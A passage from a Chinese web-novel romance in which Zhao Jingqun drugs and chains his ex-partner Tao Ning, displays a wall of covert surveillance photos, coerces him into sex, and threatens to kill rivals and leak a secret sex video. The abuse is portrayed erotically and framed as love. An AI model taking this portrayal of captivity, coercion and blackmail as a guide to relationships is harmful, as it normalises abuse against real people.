陶柠尝试呼喊,然而响声回荡,没有人回应,身下垫着的东西却异常柔软,应该是在一张床上面,手腕的地方却有些冰冷。 头脑昏昏沉沉,陶柠挣扎着想起来,结果引起一阵铁器相撞的声音,在死寂般的房间里犹为清晰,手腕处的冰冷也刺的陶柠瞬间醒了,没由来的,心脏忽然紧张跳动。 砰砰砰,砰砰砰,心跳声一声比一声清楚。 陶柠抖着手去摸索手腕,果不其然,碰到了冰冷的、细长的铁链!有人把他绑在了床上。 “你你是谁”双唇里溢出来的几乎是颤音,陶柠咽了下口水,使劲往后缩,惶恐不安地蜷缩起身体,抱住膝盖,眼珠子转动,即使他知道看不见,可只有这样才能给他带来一点安全感。 就在陶柠因为恐惧一直往床脚缩的时候,猝不及防的,一阵浓烈到呛人的烟味扑来,像狂风骤雨把陶柠包裹住,烟味太浓了,熏得人无法思考。 下一刻,脸颊上的软肉被一双滚烫的手掐住,沙哑如砂砾磨过的嗓音低低笑了起来,这笑声像恶鬼似的,突如其来,一点一点从喉咙里散开,最后在黑暗里消散。 笑声戛然而止,片刻,那声音冷漠问:“有没有想我?” 这句话落下后,陶柠没有挣扎了,他愣在原地,任由滚烫粗糙的手摩挲他的脸颊,有些刺痛。 因为这声音他再熟悉不过是赵静群的。 第85章 第 85 章 不疯魔不成活 虽然知道面前的人不会伤害他, 但黑暗的环境最容易滋生恐惧,尤其是双手双脚都被束缚的情况下,陶柠感觉心里发毛, 即使不知道原因,赵静群这种一言不发把他迷晕后绑到床上的行为也太诡异了。 如果赵静群把他带到了这里, 那徐隽对,还有徐隽!赵静群会不会把徐隽也绑到这里来了? 赵静群到底想干什么? 粗糙的五指掐住了脸上的软肉, 陶柠无法动弹,只好含糊着说:“想你赵静群,徐隽我室友他” 还没说出一句完整的话, 掐住软肉的指腹力度加重,黑暗之中,看不清脸的赵静群轻轻笑了一下, 笑声不像羽毛, 更像危险的钩子, 仿佛陶柠再提某个名字, 这把钩子就要钻入他的喉咙,再化作舌头舔舐, 吮吸,直到手底下的猎物彻底说不出话来。 陶柠在这种阴森的笑声中,闭上了嘴。 直觉告诉他, 最好不要再提其他男人的名字,否则会有不可挽回的事情发生。 “陶柠。”见陶柠不说话了,黑暗中的人叫了他一声。 自从他们重逢后,赵静群几乎就没有叫过他的名字了,突然间被喊了名字,陶柠心脏狠狠跳了一瞬, 但很快恢复了镇静,犹豫着“嗯”了一声 到底发生了什么事?赵静群又想干些什么? 忽然,一阵滚烫的呼吸缓缓逼近他,呼吸声由轻转重,仿佛荒芜草原上的高大强健的野狼,带着浓烈呛人的信息素味道,喘着沉重的粗气,缓慢凑近陶柠的唇畔,滚烫的呼吸近在咫尺。 分明是一个温情旖旎的动作,可看过来的视线却过于冰冷,大脑感知到了危险,浑身的鸡皮疙瘩跟着起来了,陶柠终于意识到,赵静群现在的情况,非常不对劲。 而更令陶柠冒冷汗的是,黑暗中又伸出来一只手,扣住了他的腰肢,掌心的温度更是烫得吓人,像汩汩灼热的岩浆,仅仅是被这只手抚上,令人发颤的热度已隔着衣服钻入他的肌肤。 陶柠情不自禁打了个哆嗦。 许是他的反应取悦了黑暗中的人,赵静群又笑了一下,那只扣在陶柠腰肢上的手宽而粗糙,几乎一只手就能把腰肢折断。 滚烫的鼻息与沙哑低沉的声音交织,“陶柠,我有没有告诉过你,我性.欲很重,每天都要对着你的衣服照片射出来。” 直白的话激得陶柠大脑一片空白,除了不知道最后一句话的事情,前一句话不需要赵静群告诉,陶柠能感觉到他平日里忍的很辛苦,跟他亲吻时总要亲到他喘不过来气才罢休。 只是只是这件事跟绑住他有什么关系吗? 掐住他脸颊的手松开了,虽然不知道赵静群能不能看到,但陶柠还是僵硬地点了点头,不料他这个点头的动作似乎激怒了眼前的人,攥住他腰肢的手收紧,接着得到了一句冰冷压抑的质问。 “既然知道,还敢背着我跟宋郁丛和徐隽那两条野狗偷情?!”赵静群咬牙切齿,“陶柠,我真他妈想现在就操.死你。” 大脑嗡嗡作响,陶柠哑口无言。 这一刻,从小在脏乱差环境里长大与血腥打交道的男人,终于撕开了他平日里嬉笑伪装的面具,那便是有朝一日从混混变成了有钱的公子哥,也改变不了他骨子里是个满口荤话的混混的事实。 “我”这件事涉及到自己的任务,陶柠没有办法告诉他真相,只好半心虚半矢口否认,“我没有。” “你没有——?”黑暗中的人瞬间拔高音量,唰的一声,陶柠被他粗鲁地拖了过去,直接贴住了男人的胸膛,陶柠能感受到对方剧烈的起伏,不知道是不是被这句话气的。 “你敢说你没有?!” 啪的一声,昏黄的灯光亮了起来,黑暗驱散,陶柠忍不住眯起眼睛,适应了一下光线,视野刚清晰,就被眼前的人吓到了,因为赵静群现在的模样实在可以用恐怖来形容。 他就像一头被激怒的雄性野兽,头发凌乱,双目赤红,浓重的黑眼圈叫这张平时显得有些阳光的脸尽是狼狈,若有若无的笑意也全部消失了,从喉咙里挤出的字让面部骤然扭曲。 单手攥紧陶柠的肩膀,手背上的青筋狰狞凸起,赵静群用力把陶柠推往墙壁的方向,低吼道:“你敢对着这些照片说没有?!” 他尾音发颤,说不出的绝望和嫉妒,应该说恨入骨髓的嫉妒。 陶柠顺着他指的方向看过去,见到一整面墙的照片时,瞳孔瞬间紧缩。 一整面墙,成百甚至上千张照片,从上至下,从左至右,密密麻麻占领了整面墙壁。 外围的照片是他单独的身影,有吃饭的、睡觉的、发呆的、笑的、皱眉的而这些照片背景,陶柠记得,是他在海州与赵静群重逢的时候才有的。 也就是说,与他重逢的那一刻起,赵静群就一直派人在监视他,偷拍他。 他为赵静群不正常的占有欲和控制欲感到心惊胆战,而这些照片从外到内,他一个人的身影逐渐变成了两个。 是宋郁丛和徐隽,跟他有亲密接触,或拥抱或亲吻的宋郁丛、徐隽。 只是他们两人的面孔不像陶柠的模样完好无损,而是全部被混乱的墨水线条划开,照片破了很多大小不一的裂痕,可见其力度深刻,就像不是用笔尖一笔一笔划掉的,而是尖锐狰狞的刀子。 “” 陶柠被一整面代表他“偷情”的证据震惊到失去思考的能力,他愕然、恐惧、迷茫最后只剩下沉默。 “骗子。” 赵静群忽然说,他又攥紧陶柠单薄的肩膀,强行让陶柠看向自己。 只是触及到陶柠沉默平静的视线时,内心有摇摇欲坠的火烛彻底倒下,猩红的火焰腾起,暴虐残忍,将血淋淋的心脏烧干殆尽。 “我说的难道不对么?不对么?”赵静群喃喃自语,像说给自己听又像是质问,用血红的眼睛瞪着他,似乎这样就能让陶柠感受到心脏被焚烧的痛苦。 “你就是个骗子”赵静群失控怒吼,“你就是个骗子!!” 陶柠看着他,闭了闭眼,颤声揭开他们最后脆弱无比的遮羞布。 “我们早就结束了。” 是啊,他们早就结束了,早在那座山下,那场湿漉漉的大雨中,他与赵静群一别两宽。所以根本没有什么关系可言啊,又哪里来的偷情呢? 只是他们重逢时谁都没有说破,自欺欺人而已。 “闭嘴!陶柠!你闭嘴!”赵静群声嘶力竭,喘着粗气,干脆掐住陶柠纤细的脖颈,充满粗暴与惩罚意味吻上他的双唇,用力撕咬与□□,仿佛只有这样,才能发泄内心汹涌的嫉妒和痛苦,让这张嘴再也说不出刺耳的话。 “谁准你说结束的?我没有答应!!”赵静群喘息着松开,又粗暴地吻他,“你这辈子都休想” 陶柠没有挣扎,任由赵静群钻入唇舌,暧昧不清的水声死死纠缠,浓烈的烟味和荷尔蒙占据了整个口腔,舔吻的动作极其粗暴,甚至在用力撕咬他,可陶柠也只感觉到了一点疼。 他知道,赵静群怕他流血。 可正是因为赵静群暴怒到了极点,也依旧在想着他。陶柠第一次产生了想落泪的冲动,他是个从小被人说冷漠,甚至冷血的人,无法感知寻常人的喜怒哀乐,很多时候只是逢场作戏。 别人笑,他也跟着笑;别人哭,他也跟着哭,可内心却始终毫无波澜,就像一个突兀的旁观者。 直到此时此刻,陶柠终于感受到了痛彻心扉的滋味。恍惚间,他回到了那日的噩梦,他沉没于冰冷的液体当中,听到齿轮转动的声音,伴随机械声没有感情的播报。 【恭喜,编号510的自主情感值接近百分百检查中】 【成功了检查】 【编号510】 我究竟是什么东西呢?为什么为什么非要我来承担呢? 陶柠感觉到,有冰凉的液体滑入唇角,分不清是谁的泪水,直到汹涌粗暴的吻结束了,压在他身上的人近乎温柔地舔吻他,哽咽的声音一遍又一遍呢喃:“骗子,骗子。” “我不是。” “骗子,骗子” “我不是。” 但赵静群已经听不见任何声音了,脸上病态的嫉妒与占有欲彻底一览无余,眼珠子动也不动盯着身下的人,仿若守着珍宝的阴森恶鬼,嘴里不停呢喃:“是你是你陶柠,是你先招惹我的,是你先招惹我的” 看着赵静群疯狂若颠的模样,陶柠忽然想起了宋夫人,那具从高空坠下,冰冷沾满了鲜血的身体,他只觉得内心一阵绞痛,害怕赵静群总有一天也会失去呼吸。 如果爱一个人最后会变得如此面目全非,不如不要相爱,不要相遇。 他痛恨自己的逃避,可也恐惧到毫无办法。 “对不起。” 他想和赵静群从此一刀两断,即使只要提起这些字眼,陶柠就浑身发抖,直到脸上没有了泪水,抱着他的人没有回应,忽然冷静下来。 那双赤红的眼睛盯着他,自言自语说:“当初你离开是不是为了那两条野狗?” 没等陶柠说话,赵静群又开始自言自语,“一定是这样,是他们勾引了你,不是你的错,是他们把你从我身边抢走了,他们把你从我身边抢走了。” “一定是这样一定是这样。你没有骗我。” 赵静群似疯了般喃喃自语,又似在说服自己,接着抱紧他,忽然又不说话了。空气几近窒息而僵硬,分明是在彼此拥抱,近在咫尺的距离,陶柠却觉得,他们已经分隔天堑。 几分钟过去,赵静群忽然松开手,面无表情,猩红的双目直勾勾盯着陶柠,用一种平静到毛骨悚然的语气,一字一字说:“我要杀了他们。” 一股寒意霎时间自脚底窜入头顶,直至将四肢百骸冻住,陶柠大气不敢出,因为他知道,赵静群没有在说笑,他是真的想杀了宋郁丛和徐隽。 赵静群这个疯子! 第86章 第 86 章 赵静群疯狂兴奋到了极点…… 暂且不说现在是法治社会, 杀人会偿命,就算不是,陶柠也不可能眼睁睁看着赵静群做出这种遭天谴的行为。 正是因为知道赵静群会这么做, 陶柠才吓出来一身冷汗,连忙抱住他, 到嘴巴的话想了又想,可以说千回百转, 斟酌道:“我知道错了,赵静群,你冷静一点你这样, 我很害怕。” 他隐约知道,绝对不能提宋郁丛和徐隽两个人的名字。只有这样也许能阻止赵静群危险至极的想法。 “你害怕?”赵静群推开他,漆黑的眼睛依旧直勾勾盯着陶柠, 仿佛能从这张漂亮的脸上找出说谎的蛛丝马迹。“如果害怕, 那为什么要背着我偷腥?为什么要从我身边离开?” “” 绕来绕去还是逃不出这两个‘指责’, 陶柠简直无话可说。最开始他只是单纯地以为赵静群控制欲强, 陶柠可以接受,但若是知道赵静群是个会杀人的疯子, 他绝对会抵死拒绝任务。 如此极端偏执的爱意,换做任何人,都会觉得背脊发凉。即使陶柠天生情感匮乏, 也感觉难以消受。 他深吸一口气,唯一确定的是,赵静群没有刚才那么疯狂了,至少可以沟通,应该还有回旋的余地。 把要说的话反复斟酌,陶柠觉得不会再激怒赵静群, 才一边伸手小心地搂住赵静群的脖子,一边犹豫着说:“对不起,是我的错” 脑海中闪过一些画面,陶柠甚至说:“静群哥哥,你不要生我的气都怪我不好。” 昏黄的灯光下,陶柠坐在他大腿上,扬起修长似天鹅的脖颈,纤弱的双手搂住他的脖子,甜到发腻的味道不知不觉间,已经钻入赵静群身体里的每个毛孔,与陶柠紧紧相贴的每一寸皮肤下,都叫嚣着把陶柠压在床上,吃干抹净。 即使忍到需要靠咬破舌头的血腥味保持冷静,从表面看,赵静群依旧没有表情,他缓缓低头,看着这张令他魂牵梦萦的脸。 这是一张任何人看了都会赞叹、迷恋的脸蛋,女娲精心雕刻的五官是世上最完美的艺术品,唇红齿白,眼含春水,饱满的朱唇吐出“哥哥”两个字时,能轻而易举勾得所有男人为他疯狂,堕入旖旎的无边地狱。 赵静群渴望这双唇渴望到要爆炸了,可视线上移,看见陶柠那双浅棕色的眼睛后,就像一盆冷水浇灭了翻涌的欲.望。 因为浓密若乌羽的睫毛下,眼睛里什么也没有——陶柠就是个骗子,嘴上甜言蜜语,实则根本不爱他。 他不爱他也许连喜欢也没有。 如果这次放过陶柠,他又会继续背着自己勾三搭四。赵静群恨极了这一点,原来陶柠不止没有心,更是个花言巧语的骗子。 他绝不能再上当,赵静群发着抖闭上眼睛,他要给陶柠一个足够深刻的惩罚,让陶柠以后只要产生勾引其他男人的念头,就会感到恐惧。 赵静群睁开眼,眼眶猩红,双手猝不及防攥紧陶柠的腰肢,抱起来,将他重重压在床上,自喉咙深处发出野兽般的声音:“陶柠,要是不想我去杀了那两条野狗,接下来一段日子你就乖乖听话。” 滚烫灼热的气息压得陶柠喘不过气来,尤其是男人的重量全部压在他身上,紧接着细密若骤雨的吻落在他耳垂上、额头、眼睛、鼻尖粗糙干涸的吻随他颤抖的脸庞一路下滑,直至双唇。 而争夺伴侣的雄性动物世界里,充斥交.配.欲.望的野兽会叼起猎物藏入洞穴,随后嗅闻猎物,一寸一寸舔舐,覆盖其他雄性标记的地方,最后寻找猎物身上潮湿容易下口的位置。 如果找到了,便会兴奋到发出低吼,一击致命。 空气中危险的因子让陶柠感觉头皮发麻,仿佛被狰狞的兽爪扼制了脖颈,衣服也被兽爪撕碎,却根本无法反抗。 红肿的唇只能发出轻吟,泪水滑落,模糊的视野里,只有赵静群嫉妒到扭曲的面孔。 砰砰砰,囚笼里除了指针转动的声响,滚烫的温度,唯余剧烈的心跳。 “赵静群,不要” 细弱的哭腔让赵静群兴奋疯狂到了极点。 他居高临下,喘着粗气,诱惑着、威胁着,“乖叫老公。”一遍又一遍抚摸陶柠柔软的发间,胡言乱语低哄道:“乖,宝贝,宝宝,陶柠,宝宝,我的宝宝叫老公。” 可陶柠只会哭,听不见他说话,仿佛一具精美的瓷娃娃 赵静群紧紧抱着昏过去的陶柠,温柔地吻去他额角浑浊的汗珠,轻声呢喃:“我爱你陶柠,我爱你。” “也给我一点爱吧。” 陶柠醒来的时候,房间里只剩他了,而他感觉全身上下已经不是自己的了,虽然浑身是清爽的,但异常酸痛,尤其是喉咙里,疼得厉害。 想起几个小时前的混乱不堪的画面,陶柠又气又羞,发泄似地捶了下被子。 赵静群赵静群就是个混蛋!还说他是个骗子,其实自己更是个装模作样的王八蛋!以前至少知道分寸,占有欲强陶柠也由着他。 如今彻底不装了,床上的时候骨子里的恶劣全部溢出来,让陶柠遭了一通罪。 但是陶柠没想到,这只是一个开始,而赵静群说的“乖乖听话”,究竟意味着什么。 他失去了自由。 陶柠想下床,但动作牵动了铁链,这才后知后觉意识到,赵静群没想放过他,四条细长的铁链锁住了他两只手腕,两只脚踝,只给他留下床头到床尾的自由,就像被囚困的金丝雀。 担心金丝雀受伤,铁链的环上又缠上了柔软的棉布,不会让陶柠感觉到冷,连疼也不会,但留下的余温却让陶柠感到恐惧,赵静群到底想做什么?!他打算一直把自己困在这里吗? 疯子!陶柠终于感觉到赵静群的恐怖,可恐怖的同时,又有无可奈何的酸涩。这事他也怪不了赵静群,因为赵静群以前,明明不是这样的 咔嚓一声,门打开了。 这是一个没有窗户的房间,只有昏黄的灯顶,一张白色的床,还有一片墙的照片,绝对的安静,也绝对的无法逃脱。 门开的时候,陶柠会有种汗毛倒竖的惊悚之感,事实他的感觉是对的。 因为门外是一片漆黑,赵静群半边身躯隐没于阴影中,他站在门口没动,一只手拎着食盒和一个折叠桌,另一只手缓慢松开门把手。因为逆着光,陶柠看不清他的表情,只感觉有一道视线落在身上。 那道视线说不出的平静。 可陶柠知道,越是平静的海面,其背后隐藏的波浪就越汹涌。这样的赵静群让陶柠的神经瞬间紧绷,心脏也砰砰直跳。 过了一会儿,似乎是终于看够了,门口的人才一步一步走过来,陶柠看着他嘴角僵硬的笑容,感觉心底发毛。 而赵静群像感是觉不到他轻度的抗拒,打开折叠桌,拆开食盒,端起一碗粥朝他走过来。 是陶柠很喜欢的青菜粥。 床面因为另一个人的重量凹陷,陶柠听见赵静群笑着说:“宝宝,吃饭了。”语气和平时没什么两样。 温热的汤匙抵在唇口,陶柠避开了,也移开眼,声音嘶哑:“你什么时候放我离开” 他有繁重的学业,还差一点的攻略任务,不能长久待在这里。虽然陶柠既心疼也愧疚让赵静群变成这样疯疯癫癫的,但不能因为这件事万般迁就他,因为失去自由的感觉非常不好。 陶柠想让赵静群知道,这不是正常的爱意。 然而余光里的人没了动静,气压瞬间骤降。陶柠偏过头,却对上了赵静群面无表情的脸,依旧保持喂他的动作,平静说:“宝宝,吃饭了。” “” 陶柠固执的脾气噌一下上来了,咬牙说:“我不想吃。” 赵静群面不改色,冷淡说:“那两条野狗在找你,我很生气,你知道后果的。” 他竟然威胁自己?!陶柠又气又难过,冷静下来后,想起赵静群说要杀了他们时认真的样子,刚想开口,话到嘴边又停住了。 因为陶柠迅速反应过来,这是一个陷阱,如果他替宋郁丛和徐隽说话,后果绝对更严重。 他怎么能这么坏 陶柠垂眼,敛去心惊胆战的情绪,僵硬说:“我不在乎。” 果不其然,原本骤降的气压瞬间缓和了一些,但也仅仅是一些,赵静群笑了一下,说不出是冷笑还是假笑,“乖,我喜欢你这么说,该吃饭了。” 赵静群放下汤匙,轻轻抱住陶柠,把他放到大腿上,从身后环住陶柠的身体,然后拿起粥,像往常一样,不容怀中人拒绝地一口一口喂他。 如果中途陶柠反抗,赵静群就会放下汤匙,反手掐住陶柠脸颊上的软肉,迫使他张开嘴,吻他、咬他,直到陶柠哭着说,会好好吃饭为止。 陶柠分不清时间,因为赵静群几乎是威胁式哄他吃完饭后,在一整面墙的照片前站了一会儿,片刻,把钟表取下来了。 赵静群剥夺了他的自由,让他对着一整面墙的照片,现在又把钟表取下,剥夺他最后感知时间的自由。 本来只是心疼和愧疚,还有一点恐惧的,看见赵静群的动作后,什么心疼愧疚都都没有,只有生气。 他抄起枕头砸了过去,愤怒道:“你究竟想做什么?赵静群,你是不是真的疯了?想把我关在这里一辈子么?!” 赵静群没躲,枕头砸在脸上,掉下来,露出一双通红的眼眸,他快步来到床前,压住陶柠,眼睛死死瞪着他,低吼说:“我就是疯了!我就是想把你关在这里一辈子!!” 他喘着粗气,胸口剧烈起伏,“哈”了一声,冷笑道:“陶柠,你不知道吧,我早就想这么干了。从你跟我在一起的那天,我就想把你关在一个没有人的地方锁起来,像这样绑在床上,日夜.操.你,把你养废,这样你就只能看着我,只能依赖我!可那时候我怕吓着你,不敢让你知道但我现在很后悔,后悔没有把你早点关起来!让你找机会去勾引那两条野狗!” 啪的一声! 陶柠狠狠甩了他一个巴掌,眼眶发红,忍着哭腔道:“你你走你走开!” 赵静群看着陶柠咬着唇,倔强固执到不肯发出声音的眼泪,一颗一颗从脸上滑落,这些眼泪顷刻间化作利刃,一刀一刀捅进心脏,凌迟般绞痛。 闭了闭眼,双手发抖抱住陶柠,将他紧紧抱入怀中,像是要把陶柠的身体融入骨血里。 “陶柠陶柠啊”赵静群抱着他,颤声说,“我只想要你爱我啊。” 第87章 第 87 章 下跪 已经七天没有陶柠任何消息了, 徐隽也几乎七天没合过眼,加起来的睡眠时间不超过十个小时,他每天都会去警局一趟, 可每次得到的回复都是“陶柠失踪的事和赵静群”无关。 徐隽冷冷道:“你们深入调查过了么?知道他名下不动产所有信息么?又调查过他公司里的员工了么?” 警察也是头一次遇到与受害者非亲非故但过分关注受害者情况的人,他严肃道:“我们理解你和受害者是室友关系, 关心他,但是也请你理解我们的工作, 我们绝对不会放过任何与案件有关的信息。” 徐隽抿唇,“抱歉。” 他知道自己太心急了,有时候甚至怀疑自己的判断是不是出现了错误, 但徐隽不敢想这个判断是错误的,因为他宁愿陶柠是被赵静群带走了,也无法想象陶柠会在别人手里遭什么样的罪。 时间过去得越久, 徐隽的理智越岌岌可危, 尤其是失去陶柠踪迹的第二天, 徐隽在警局里见到了赵静群。 赵静群一身休闲T恤, 但再休闲的衣物,也无法掩盖他身上桀骜不驯的气场, 只是这张有些匪气的脸上挂着浓重的黑眼圈,眼珠里爬上了血丝,没有一丝表情, 看上去满身的煞气。 比起上一次在校门口看见这个被他亲自引来海州的陶柠的前男友,徐隽内心充满了不甘和嫉妒,这一次,徐隽甚至无法控制住表情。 冲过去挡住赵静群的去路,冷冷质问:“你究竟想对陶柠做什么?” 当时警察局的局长就在赵静群身边,对于这个突如其来拦路的年轻人, 怕赵静群一气之下撤掉在海州的投资,于是给旁边的警察使了个眼色,有警察想将徐隽带走,不料赵静群一抬手,其他人没动了。 局长捏了个冷汗,又怕这个财神爷一言不合要和这个年轻人打起来,到时候他不好偏袒,投资又要泡汤了。但令局长没想到的是,这位从进警察局开始就面无表情的财神爷,竟然笑了。 赵静群两只手插在裤兜里,居高临下看着徐隽,见徐隽看似冷漠实则紧绷的脸,心底快要被恶意与杀意占满了,只是表现在脸上,他仅仅是笑了一下。 一步一步走下台阶,赵静群脸上带着笑,用只有徐隽能听见的声音说:“你跪下朝我磕头,我就告诉你。” 因为隔了一段距离,局长听不清楚他们两人的对话,生怕二人打起来,连忙小碎步上前要劝赵静群离开,不料还没靠近,令他大跌眼镜的事情发生了,只见赵静群前面的年轻人,竟然冷着脸跪了下去。 嘶—— 不仅局长倒抽了一口凉气,其他人更是瞪大了眼睛。 徐隽丝毫不在意他人的目光,冷着脸直挺挺跪下了。都说男儿膝下有黄金,那一刻没有人知道他为什么要这么做,更无法理解他的想法,除了赵静群。 嫉恨的酸液已经将赵静群整个人淹没了,全身上下每一寸皮肤都浸泡在里面,连皮带骨脱落。赵静群几乎是拼尽全力才没有做出众目睽睽之下杀死徐隽的行为,一想到除了他自己,有那么一个人同样深爱着陶柠,他们不仅有共同话题,还曾紧密无间。 如今更是为了陶柠,连脸面也不要就给他跪下。 光是想一想,赵静群就要嫉妒疯了。不知道在原地站了多久,赵静群扯出一个扭曲的笑,既没有理会徐隽,也没有跟局长解释,转身离开了。 自那以后,徐隽再也没见过赵静群,失去了唯一得到陶柠消息的办法,徐隽开始动所有能动的关系去寻找,其中甚至包括了宋郁丛,只是宋郁丛深受家族事业的桎梏,忙的焦头烂额之下也在寻找陶柠,但依旧杳无音信。 宋郁丛当着徐隽的面把包厢里的东西全部砸碎了,恶狠狠瞪着他:“都怪你个没本事的东西!大庭广众下让陶柠被人绑走,你是废物么?!” 这些话像一根刺扎进徐隽心里,眼中闪过懊悔与痛苦,嗓音微哑:“有消息没有?” “没有!”宋郁丛一拳砸在墙上,脸上是掩饰不住的担忧,“我已经联系了最好的私家侦探,也把全部保镖派出去找人了,依旧没有陶柠的消息。”但是他没有说也是这段时间宋氏的公司遭受了攻击。 宋郁丛害怕是自己得罪了什么人,所以那人为了报复他,把陶柠绑走了,只要想到这个可能性,宋郁丛几乎面色惨白,生理性发抖。 “你应该去查赵静群。”徐隽冷冷道。 “赵静群不是洗脱嫌疑了么?陶柠说赵静群是他表哥”宋郁丛脸色一点一点变得惨白,即使他心底有了答案,但始终不敢相信。“赵静群还跟我提起过,他有一个老婆。” 徐隽面无表情看着他,“你被骗了,赵静群是陶柠的前男友。” “你你他妈说什么?!回来!徐隽你给我说清楚!” 把所有办法都用遍后,徐隽开始亲自去调查跟赵静群有关的信息,有宋郁丛的推波助澜,他把赵静群的背景查了一大半,从中抽丝剥茧推理真实的情况,直到看见赵静群半年前在陶柠的家乡陪胞妹采风过一段时间。 徐隽知道,陶柠就是在那期间和赵静群在一起的。他放下赵静群只有三分之一是真的资料,抱着不放过一丝希望的想法给赵静群的那位胞妹赵静岁拨打了电话。 电话响了几声,那边竟然接通了,“你是谁?” 赵静岁的声线清冷,开门见山质问电话另一头的身份。徐隽亦然没有说其他话,平静说:“你哥绑架了一个人,媒体要曝光这件事,如果不想赵家的丑闻继续发酵就告诉赵静群,让他把那人放了。” 令徐隽意外的是,电话那头沉默了几秒后,不紧不慢道:“我哥绑的是陶柠吧,你跟他是什么关系?” 这一点希望也破灭了,徐隽攥紧手机的指头发白,直接挂了电话。 赵静岁看着被挂断的电话,微微挑起眉。在秋千上一边晃腿一边吃冰激凌的何年年回过头,“岁岁,怎么停了?是谁打的电话啊?” 赵静岁笑了笑,继续给她摇秋千,“没什么,我们继续玩。” 到了晚上,赵静岁轻柔地拉开何年年抱着她的手,又给何年年掖了下被子,下床去卧室外,她打了备注只有一串号码的电话。 她耐心等了三十多秒,电话才终于接通,赵静岁听见电话那边若有似无的抽泣声,紧接着,是赵静群冰冷的声音:“什么事?” 赵静岁听得出来自己打扰了这位关系一般的亲生哥哥的春宵,索性长话短说,“有人说你绑架了陶柠,警告你把人放出来,否则就要媒体大闹这件事。” 结果电话那头冷冰冰道:“让他去。” 啪的一声!电话瞬间摔个四分五裂,赵静群双目猩红,压住身下柔软的身体,掐着他的下巴讽刺道:“陶柠,徐隽和宋郁丛正在到处找你呢,你还敢说和他们没有奸情?你说我要是把我们做.爱的视频发给他们,他们会怎么看你?嗯?” 明知道赵静群不会这么干,只是吓唬自己,陶柠仍旧不可避免地感到羞愤,纤弱的手抓住赵静群发烫的手腕,想把他推开,哑着嗓音道:“不要,你这么做我会恨你” 陶柠待在这个房间已经七天了,这七天里,他一大半的时间都在承受赵静群带着怒意的欲.火,最开始陶柠尚且能够忍受,后面他求饶到瞳孔失焦的地步,只是赵静群依旧不肯放他出去。 尤其是第二天,赵静群从外面回来后,几乎是发了疯似地索取,眼底满是扭曲的嫉妒,逼问陶柠最爱谁。 陶柠说爱他,可赵静群不信,说他是个骗子,以后不会再相信他的话,也不会再被他骗了。 “” 陶柠没办法和他沟通,因为那一巴掌后更盛的愧疚与心疼,只好默默承受着赵静群平静而疯癫的行为。 今天又不知道怎么回事,接完电话后,赵静群不仅把电话摔了,又开始疯言疯语,许是“恨”这个字又刺激了他,捏住下巴的手收紧,陶柠看着近在咫尺,眼眶发红的男人冷笑说:“恨我?好啊,总比你没心没肺好,陶柠,你要恨我,就恨一辈子吧,明天我一定会把视频发给那两条野狗,我还要让你亲眼看见他们收到视频的反应。” “疯子你真的是一个疯子” 如果陶柠自认为对赵静群的了解,刚才他笃定赵静群只是威胁他,但近距离之下,男人眼底的狠厉是如此清晰,陶柠意识到,从前温柔霸道又有些痞气的性格,只是赵静群的一部分,或许如今疯得不成样子的赵静群,才是完整的他 怎么办他该怎么办?原来这个房间里也有监控,如果赵静群真的把视频发给徐隽和宋郁丛,他以后该怎么在他们面前做人? 陶柠近乎绝望的表情深深刺痛了赵静群,他为此尝到了“报复”的快感,可心脏却疼到要裂开了。赵静群只能不断催眠自己,他要陶柠心里有他,即使只有恨。 他没有办法回头了。 赵静群吻住身下人的唇畔,放肆碾压,但因为陶柠的疾病,怕咬出血,他又不敢太用力,只好不停地吮吸,似乎只有这样,才能稍稍平息他内心被嫉妒和痛苦蒙蔽的理智。 这一次,陶柠的挣扎比以往更厉害,泪水混合着唾液,已经分不清究竟是哪一样更令人苦涩了。 直到又一场沉默的性.事结束,赵静群把他的身体洗干净,然后死死搂着他,就算睡着了,力度依旧大到陶柠挣扎不了。 陶柠睡不着,睁眼看黑暗中的天花板。过了许久,陶柠平静地对脑海里的系统说:【救我出去,我不出去,没有办法完成最后的任务。】 陶柠清楚地听见脑海里的发出一声意味不明的笑,【陶柠,赵静群说的没错,你的确是个彻头彻尾的骗子。】 【拜你们所赐。】陶柠语气冷漠,【从一开始我拒绝了。】 系统的声音很是玩味,【但你没有拒绝的权利,回答我一个问题,我就救你出去。】 陶柠没说话。 【这三个人里,你喜欢谁?】 陶柠罕见地沉默下来,不是他回答不出来,而是他根本没有答案,他的心早就乱成了一团,无论是对赵静群,还是对徐隽和宋郁丛,他早已不能把他们当成简单的数学题和任务了。 只是没等陶柠说话,系统就像早已知道答案似地讽笑,【你答不出来,因为你三个都喜欢,赵静群要是知道你心里的想法,估计就不是把你囚禁这么简单了吧。】 陶柠闭上眼睛,面上毫无波澜,唯独被子里攥紧的拳头在发抖。也许是感受到了陶柠的恐惧,赵静群虽然没有醒来,却习惯性地把陶柠搂得更紧,轻轻拍着他清瘦的背脊,嘴里呢喃着“乖”,安慰他。 唰地睁开双眼,黑暗中,陶柠忍着泪,用视线仔细描摹这张承载他喜怒哀乐的脸,他从未有如此确认过,他终于对这张脸产生了一丝恨意。 不再是简单的喜怒哀乐,而是实实在在真切的恨。为什么赵静群非要刨根问底,为什么赵静群非要让所有人难堪,为什么伤害他又对他那么好。既然觉得他是个水性杨花的骗子,为什么又不肯放过他?! 这种感情太复杂了,在心里转瞬即逝,陶柠甚至无法理解,就已经匆匆在心底掠过,直到系统的声音带着居高临下的味道响起:“明天他们两个会知道你的位置。” 陶柠叹了口气,如重释放般再次闭上眼睛,他心里一遍又一遍默念着,结束吧,就这样结束吧。 可是真的能结束吗? 第88章 第 88 章 修罗场 晚上睡觉的时候, 不知道是不是赵静群环住腰肢的手过于滚烫,陶柠又做那个稀奇古怪的梦了。只是这一次,他没有在那个周围都是装有“本人”容器的房子里, 而是看到了一个人的下巴,四肢也无法动弹。 这个视角很奇怪, 因为按照上次的噩梦,那些密密麻麻的容器里, 都是少年时期的他。如果这次的梦境延续了上次的噩梦,那么这时候他应当也是少年时期的体型。 通常情况下,睁开眼睛看到一个人的下巴, 那么有很大概率是被这个人抱在怀里,但是本身拥有少年的体型,陶柠想不出来, 他究竟是以一个怎样的动作被人抱在怀里的。 如果公主抱, 最先看到的应当是一个的脸。 直到画面天旋地转, 陶柠终于知道自己是以一个怎样的姿势被人抱在怀里了——透过巨大的显示屏和玻璃反射出来的光弧, 他看到自己变成了一个婴儿。 而抱着他的人,正是上次噩梦里对他微笑的男人。 亲眼看着自己变成了婴儿, 还被人抱在怀里,惊悚的程度可想而知。但陶柠无法动弹,声音也发不出来, 他像是这个梦境的旁观者,听见头顶上方的声音说:“看见了么?那是你以后要生活的地方。” 